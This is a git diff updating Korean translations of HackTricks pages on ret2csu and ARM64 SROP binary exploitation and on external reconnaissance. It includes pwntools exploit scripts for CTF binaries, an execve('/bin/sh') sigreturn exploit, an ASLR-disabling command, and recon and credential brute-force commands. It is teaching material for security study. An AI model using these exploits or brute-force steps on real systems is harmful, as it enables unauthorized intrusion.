GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# Ret2csu
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -19,15 +19,15 @@ GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)기본 정보
|
||||
|
||||
**ret2csu**는 프로그램을 제어하려고 할 때 일반적으로 사용하는 **가젯**을 찾을 수 없는 경우 사용되는 해킹 기술입니다. 
|
||||
**ret2csu**는 프로그램을 제어하려고 할 때 사용하는 해킹 기술로, 프로그램의 동작을 조작하는 데 일반적으로 사용하는 **gadgets**를 찾을 수 없을 때 사용됩니다.
|
||||
|
||||
프로그램이 특정 라이브러리(예: libc)를 사용하는 경우, 프로그램의 다른 부분들이 서로 통신하는 방법을 관리하기 위한 내장 함수가 있습니다. 이러한 함수 중에는 특히 `__libc_csu_init`라는 함수가 있는데, 이는 우리가 필요로 하는 빠진 가젯 역할을 할 수 있는 숨겨진 보석들이 있습니다.
|
||||
프로그램이 특정 라이브러리(예: libc)를 사용할 때, 프로그램의 다양한 부분이 서로 통신하는 방식을 관리하기 위한 몇 가지 내장 함수가 있습니다. 이러한 함수 중에는 우리가 잃어버린 gadgets 역할을 할 수 있는 숨겨진 보석들이 있으며, 특히 `__libc_csu_init`이라는 함수가 있습니다.
|
||||
|
||||
### \_\_libc\_csu\_init의 마법 가젯들
|
||||
### \_\_libc\_csu\_init의 마법의 Gadgets
|
||||
|
||||
**`__libc_csu_init`**에는 강조해야 할 두 가지 명령어 시퀀스(가젯)가 있습니다:
|
||||
**`__libc_csu_init`**에는 강조할 두 가지 명령어 시퀀스(gadgets)가 있습니다:
|
||||
|
||||
1. 첫 번째 시퀀스는 여러 레지스터(rbx, rbp, r12, r13, r14, r15)에 값을 설정할 수 있게 해줍니다. 이는 나중에 사용할 숫자나 주소를 저장할 수 있는 슬롯과 같습니다.
|
||||
1. 첫 번째 시퀀스는 여러 레지스터(rbx, rbp, r12, r13, r14, r15)에 값을 설정할 수 있게 해줍니다. 이들은 나중에 사용하고 싶은 숫자나 주소를 저장할 수 있는 슬롯과 같습니다.
|
||||
```armasm
|
||||
pop rbx;
|
||||
pop rbp;
|
||||
|
@ -37,18 +37,18 @@ pop r14;
|
|||
pop r15;
|
||||
ret;
|
||||
```
|
||||
이 가젯은 스택에서 값을 팝하여 레지스터를 제어할 수 있게 합니다.
|
||||
이 가젯은 스택에서 값을 꺼내 레지스터를 제어할 수 있게 해줍니다.
|
||||
|
||||
2. 두 번째 시퀀스는 설정한 값들을 사용하여 몇 가지 작업을 수행합니다:
|
||||
* **특정 값들을 다른 레지스터로 이동**하여 함수의 매개변수로 사용할 준비를 합니다.
|
||||
* r15과 rbx의 값을 더한 후 rbx를 8로 곱하여 결정된 위치로 **호출을 수행**합니다.
|
||||
2. 두 번째 시퀀스는 우리가 설정한 값을 사용하여 몇 가지 작업을 수행합니다:
|
||||
* **특정 값을 다른 레지스터로 이동**시켜 함수의 매개변수로 사용할 준비를 합니다.
|
||||
* **r15와 rbx의 값을 더한 후 rbx에 8을 곱하여** 결정된 위치로 호출을 수행합니다.
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
mov edi, r13d;
|
||||
call qword [r12 + rbx*8];
|
||||
```
|
||||
2. 어디에 쓸 주소를 모르는 경우가 있고 **`ret` 명령이 필요**할 수도 있습니다. 두 번째 가젯도 **`ret`로 끝나지만**, 도달하기 위해 일부 **조건**을 충족해야 합니다:
|
||||
2. 아마도 그곳에 쓸 주소를 모르고 **`ret` 명령어**가 필요할 것입니다. 두 번째 가젯도 **`ret`로 끝나지만**, 그것에 도달하기 위해서는 몇 가지 **조건**을 충족해야 합니다:
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
|
@ -60,10 +60,10 @@ jnz <func>
|
|||
...
|
||||
ret
|
||||
```
|
||||
다음은 조건입니다:
|
||||
조건은 다음과 같습니다:
|
||||
|
||||
- `[r12 + rbx*8]`는 호출 가능한 함수를 가리키는 주소를 가리켜야 합니다 (아이디어가 없고 PIE가 없는 경우, `_init` 함수를 사용할 수 있습니다).
|
||||
- 만약 `_init`이 `0x400560`에 있다면, GEF를 사용하여 메모리에서 해당 함수를 가리키는 포인터를 찾고 `[r12 + rbx*8]`가 해당 포인터를 가리키는 주소가 되도록 합니다.
|
||||
* `[r12 + rbx*8]`는 호출 가능한 함수가 저장된 주소를 가리켜야 합니다 (아이디어가 없고 pie가 없다면, 그냥 `_init` 함수를 사용할 수 있습니다):
|
||||
* 만약 \_init이 `0x400560`에 있다면, GEF를 사용하여 메모리에서 그것에 대한 포인터를 검색하고 `[r12 + rbx*8]`를 \_init에 대한 포인터가 있는 주소로 설정합니다:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
gef➤ search-pattern 0x400560
|
||||
|
@ -73,14 +73,14 @@ gef➤ search-pattern 0x400560
|
|||
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
|
||||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
```
|
||||
* `rbp` 및 `rbx`는 동일한 값을 가져야 점프를 피할 수 있습니다.
|
||||
* 고려해야 할 생략된 팝이 있습니다.
|
||||
* `rbp`와 `rbx`는 점프를 피하기 위해 동일한 값을 가져야 합니다.
|
||||
* 고려해야 할 생략된 pop이 있습니다.
|
||||
|
||||
## RDI 및 RSI
|
||||
## RDI와 RSI
|
||||
|
||||
Ret2csu 가젯에서 **`rdi`** 및 **`rsi`**를 제어하는 또 다른 방법은 특정 오프셋에 액세스하는 것입니다:
|
||||
ret2csu 가젯에서 **`rdi`**와 **`rsi`**를 제어하는 또 다른 방법은 특정 오프셋에 접근하는 것입니다:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
자세한 정보는 이 페이지를 확인하세요:
|
||||
|
||||
|
@ -88,18 +88,18 @@ Ret2csu 가젯에서 **`rdi`** 및 **`rsi`**를 제어하는 또 다른 방법
|
|||
[brop-blind-return-oriented-programming.md](brop-blind-return-oriented-programming.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 예
|
||||
## 예제
|
||||
|
||||
### 호출 사용
|
||||
|
||||
시스템 호출을 수행하거나 `write()`와 같은 함수를 호출하려면 `rdx` 및 `rsi` 레지스터에 특정 값이 필요합니다. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾겠지만 찾을 수 없습니다.
|
||||
syscall을 하거나 `write()`와 같은 함수를 호출하고 싶지만 `rdx`와 `rsi` 레지스터에 특정 값이 필요하다고 가정해 보겠습니다. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾겠지만, 찾을 수 없습니다.
|
||||
|
||||
여기서 **ret2csu**가 필요합니다:
|
||||
여기서 **ret2csu**가 등장합니다:
|
||||
|
||||
1. **레지스터 설정**: 첫 번째 매직 가젯을 사용하여 스택에서 값을 뽑아 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) 및 r15로 이동합니다.
|
||||
2. **두 번째 가젯 사용**: 이러한 레지스터가 설정된 상태에서 두 번째 가젯을 사용합니다. 이를 통해 r14 및 r13에서 `rdx` 및 `rsi`로 값을 이동하여 함수 호출을 위한 매개변수를 준비합니다. 더불어 `r15` 및 `rbx`를 제어하여 계산하고 `[r15 + rbx*8]`에 배치한 주소에 있는 함수를 호출할 수 있습니다.
|
||||
1. **레지스터 설정**: 첫 번째 매직 가젯을 사용하여 스택에서 값을 pop하여 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), r15에 넣습니다.
|
||||
2. **두 번째 가젯 사용**: 이러한 레지스터가 설정되면 두 번째 가젯을 사용합니다. 이를 통해 선택한 값을 `rdx`와 `rsi`(각각 r14와 r13에서)로 이동시켜 함수 호출을 위한 매개변수를 준비합니다. 또한 `r15`와 `rbx`를 제어함으로써 프로그램이 계산하여 `[r15 + rbx*8]`에 배치한 주소에 있는 함수를 호출하도록 만들 수 있습니다.
|
||||
|
||||
[**이 기술을 사용하고 설명하는 예제**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)가 있으며, 사용된 최종 exploit은 다음과 같습니다:
|
||||
이 기술을 사용한 [**예제와 설명이 여기에 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), 그리고 이것이 사용된 최종 익스플로잇입니다:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -124,12 +124,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
|||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
이전 exploit은 **`RCE`**를 수행하는 것이 아니라, **`win`**이라는 함수를 호출하기 위한 것입니다 (`win`의 주소를 stdin에서 gets를 호출하여 ROP 체인에 저장하고 r15에 저장).
|
||||
이전 익스플로잇은 **`RCE`**를 수행하기 위한 것이 아니라, **`win`**이라는 함수를 호출하기 위한 것입니다 (ROP 체인에서 `win`의 주소를 stdin에서 호출된 gets로 가져와 r15에 저장함) 세 번째 인수로 값 `0xdeadbeefcafed00d`를 사용합니다.
|
||||
{% endhint %}
|
||||
|
||||
### 호출 우회 및 ret 도달
|
||||
|
||||
다음 exploit은 [**이 페이지**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html)에서 추출되었으며 **ret2csu**를 사용하지만 호출 대신 비교를 우회하고 호출 후 `ret`에 도달합니다:
|
||||
다음 익스플로잇은 [**이 페이지**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html)에서 추출되었으며, 여기서 **ret2csu**가 사용되지만 호출을 사용하는 대신 **비교를 우회하고 호출 후 `ret`에 도달합니다**:
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||
|
@ -179,6 +179,6 @@ payload += ret2win
|
|||
target.sendline(payload)
|
||||
target.interactive()
|
||||
```
|
||||
### 왜 libc를 직접 사용하지 않는가?
|
||||
### 왜 libc를 직접 사용하지 않나요?
|
||||
|
||||
보통 이러한 경우는 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)에 취약하지만, 때로는 libc에서 직접 찾기 어려운 매개변수를 더 많이 제어해야 할 수도 있습니다. 예를 들어 `write()` 함수는 세 개의 매개변수가 필요하며, **이러한 매개변수를 직접 설정하는 가젯을 찾는 것이 불가능할 수도** 있습니다.
|
||||
보통 이러한 경우는 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)에 취약하지만, 때때로 libc에서 직접 찾은 가젯으로 쉽게 제어할 수 있는 것보다 더 많은 매개변수를 제어해야 할 필요가 있습니다. 예를 들어, `write()` 함수는 세 개의 매개변수를 필요로 하며, **이 모든 것을 직접 설정할 수 있는 가젯을 찾는 것은 불가능할 수 있습니다**.
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# SROP - ARM64
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -87,7 +87,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
|
|||
```
|
||||
## Exploit
|
||||
|
||||
이 익스플로잇은 bof를 악용하여 **`sigreturn`** 호출로 돌아가고 스택을 준비하여 **`execve`**를 `/bin/sh`에 대한 포인터와 함께 호출합니다.
|
||||
이 익스플로잇은 bof를 악용하여 **`sigreturn`** 호출로 돌아가고 `/bin/sh`에 대한 포인터로 **`execve`**를 호출하기 위해 스택을 준비합니다.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -147,9 +147,9 @@ return 0;
|
|||
|
||||
**`vdso`** 섹션에서 **`sigreturn`** 호출을 **`0x7b0`** 오프셋에서 찾을 수 있습니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
따라서, 유출되면, 이 주소를 **사용하여 `sigreturn`에 접근할 수 있습니다** 만약 바이너리가 이를 로드하지 않는다면:
|
||||
따라서, 누출된 경우, 이 주소를 **사용하여 `sigreturn`에 접근할 수 있습니다** 만약 바이너리가 이를 로드하지 않는다면:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -191,8 +191,8 @@ p.interactive()
|
|||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# External Recon Methodology
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -23,31 +23,31 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## 자산 발견
|
||||
|
||||
> 어떤 회사에 속하는 모든 것이 범위 내에 있다고 들었고, 이 회사가 실제로 소유하고 있는 것이 무엇인지 알아내고 싶습니다.
|
||||
> 어떤 회사에 속한 모든 것이 범위 내에 있다고 들었고, 이 회사가 실제로 소유하고 있는 것이 무엇인지 알아내고 싶습니다.
|
||||
|
||||
이 단계의 목표는 **모회사가 소유한 모든 회사**와 이러한 회사의 **자산**을 얻는 것입니다. 이를 위해 우리는 다음을 수행할 것입니다:
|
||||
이 단계의 목표는 **주요 회사가 소유한 모든 회사**와 이 회사들의 **자산**을 얻는 것입니다. 이를 위해 우리는 다음을 수행할 것입니다:
|
||||
|
||||
1. 모회사의 인수 목록을 찾아 범위 내의 회사를 파악합니다.
|
||||
2. 각 회사의 ASN(있는 경우)을 찾아 각 회사가 소유한 IP 범위를 확인합니다.
|
||||
1. 주요 회사의 인수 목록을 찾습니다. 이는 범위 내의 회사를 알려줍니다.
|
||||
2. 각 회사의 ASN(있는 경우)을 찾아, 각 회사가 소유한 IP 범위를 알아냅니다.
|
||||
3. 역 Whois 조회를 사용하여 첫 번째 항목과 관련된 다른 항목(조직 이름, 도메인 등)을 검색합니다(재귀적으로 수행할 수 있습니다).
|
||||
4. shodan `org` 및 `ssl` 필터와 같은 다른 기술을 사용하여 다른 자산을 검색합니다(`ssl` 트릭은 재귀적으로 수행할 수 있습니다).
|
||||
|
||||
### **인수**
|
||||
|
||||
우선, **모회사가 소유한 다른 회사**를 알아야 합니다.\
|
||||
한 가지 방법은 [https://www.crunchbase.com/](https://www.crunchbase.com)를 방문하여 **모회사를 검색**하고 "**인수**"를 클릭하는 것입니다. 거기에서 모회사가 인수한 다른 회사를 볼 수 있습니다.\
|
||||
또 다른 방법은 모회사의 **위키백과** 페이지를 방문하여 **인수**를 검색하는 것입니다.
|
||||
우선, **주요 회사가 소유한 다른 회사**를 알아야 합니다.\
|
||||
한 가지 옵션은 [https://www.crunchbase.com/](https://www.crunchbase.com)를 방문하여 **주요 회사**를 **검색**하고 "**인수**"를 클릭하는 것입니다. 거기서 주요 회사가 인수한 다른 회사를 볼 수 있습니다.\
|
||||
다른 옵션은 주요 회사의 **위키피디아** 페이지를 방문하여 **인수**를 검색하는 것입니다.
|
||||
|
||||
> 좋습니다. 이 시점에서 범위 내의 모든 회사를 알아야 합니다. 이제 그들의 자산을 찾는 방법을 알아봅시다.
|
||||
|
||||
### **ASN**
|
||||
### **ASNs**
|
||||
|
||||
자율 시스템 번호(**ASN**)는 **인터넷 할당 번호 관리 기관(IANA)**에 의해 **자율 시스템**(AS)에 할당된 **고유 번호**입니다.\
|
||||
**AS**는 외부 네트워크에 접근하기 위한 명확하게 정의된 정책을 가진 **IP 주소 블록**으로 구성되며, 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다.
|
||||
**AS**는 외부 네트워크에 접근하기 위한 명확하게 정의된 정책을 가진 **IP 주소**의 **블록**으로 구성되며, 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다.
|
||||
|
||||
회사가 **할당된 ASN**이 있는지 확인하여 **IP 범위**를 찾는 것이 흥미롭습니다. **범위** 내의 모든 **호스트**에 대해 **취약성 테스트**를 수행하고 이러한 IP 내의 **도메인**을 찾는 것이 좋습니다.\
|
||||
회사가 **할당된 ASN**이 있는지 확인하여 **IP 범위**를 찾는 것이 흥미롭습니다. **범위** 내의 모든 **호스트**에 대해 **취약성 테스트**를 수행하고 이러한 IP 내의 **도메인**을 찾는 것이 흥미로울 것입니다.\
|
||||
[**https://bgp.he.net/**](https://bgp.he.net)에서 회사 **이름**, **IP** 또는 **도메인**으로 **검색**할 수 있습니다.\
|
||||
**회사의 지역에 따라 이 링크가 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/)**(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(라틴 아메리카),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 어쨌든 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**는 첫 번째 링크에 이미 나타납니다.
|
||||
**회사의 지역에 따라 이 링크는 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/)**(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(라틴 아메리카),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 어쨌든, 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**는 첫 번째 링크에 이미 나타납니다.
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
|
@ -75,21 +75,21 @@ You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
|
|||
|
||||
### **취약점 찾기**
|
||||
|
||||
이 시점에서 우리는 **범위 내 모든 자산**을 알고 있으므로, 허용된다면 모든 호스트에 대해 **취약점 스캐너**(Nessus, OpenVAS)를 실행할 수 있습니다.\
|
||||
또한, [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 실행하거나 shodan **과 같은 서비스를 사용하여** 열린 포트를 찾고, 발견한 내용에 따라 이 책에서 여러 가능한 서비스에 대한 펜테스트 방법을 살펴봐야 합니다.\
|
||||
**또한, 기본 사용자 이름** 및 **비밀번호 목록을 준비하고** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)로 서비스를 **브루트포스 시도하는 것도 가치가 있을 수 있습니다.**
|
||||
At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\
|
||||
Also, you could launch some [**port scans**](../pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\
|
||||
**Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## 도메인
|
||||
|
||||
> 우리는 범위 내 모든 회사와 그 자산을 알고 있으며, 이제 범위 내 도메인을 찾을 시간입니다.
|
||||
> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope.
|
||||
|
||||
_다음에 제안된 기술에서는 서브도메인도 찾을 수 있으며, 그 정보는 과소평가해서는 안 됩니다._
|
||||
_Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._
|
||||
|
||||
먼저 각 회사의 **주 도메인**(들)을 찾아야 합니다. 예를 들어, _Tesla Inc._의 경우 _tesla.com_이 될 것입니다.
|
||||
First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_.
|
||||
|
||||
### **역 DNS**
|
||||
|
||||
도메인의 모든 IP 범위를 찾았으므로, **범위 내 더 많은 도메인을 찾기 위해 해당 IP에 대해 역 DNS 조회를 수행할 수 있습니다**. 피해자의 DNS 서버나 잘 알려진 DNS 서버(1.1.1.1, 8.8.8.8)를 사용해 보세요.
|
||||
As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8)
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
|
@ -141,7 +141,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
간단히 말해, favihash는 우리의 타겟과 동일한 파비콘 아이콘 해시를 가진 도메인을 발견할 수 있게 해줍니다.
|
||||
|
||||
게다가, [**이 블로그 포스트**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)에서 설명한 대로 파비콘 해시를 사용하여 기술을 검색할 수도 있습니다. 즉, **취약한 버전의 웹 기술의 파비콘 해시를 알고 있다면** shodan에서 검색하여 **더 많은 취약한 장소를 찾을 수 있습니다**:
|
||||
게다가, [**이 블로그 포스트**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)에서 설명한 대로 파비콘 해시를 사용하여 기술을 검색할 수도 있습니다. 즉, **취약한 버전의 웹 기술의 파비콘 해시**를 알고 있다면 shodan에서 검색하여 **더 많은 취약한 장소를 찾을 수 있습니다**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -160,7 +160,7 @@ return fhash
|
|||
```
|
||||
### **Copyright / Uniq string**
|
||||
|
||||
웹 페이지 내에서 **같은 조직의 서로 다른 웹에서 공유될 수 있는 문자열**을 검색합니다. **저작권 문자열**이 좋은 예가 될 수 있습니다. 그런 다음 **구글**, 다른 **브라우저** 또는 **shodan**에서 해당 문자열을 검색합니다: `shodan search http.html:"Copyright string"`
|
||||
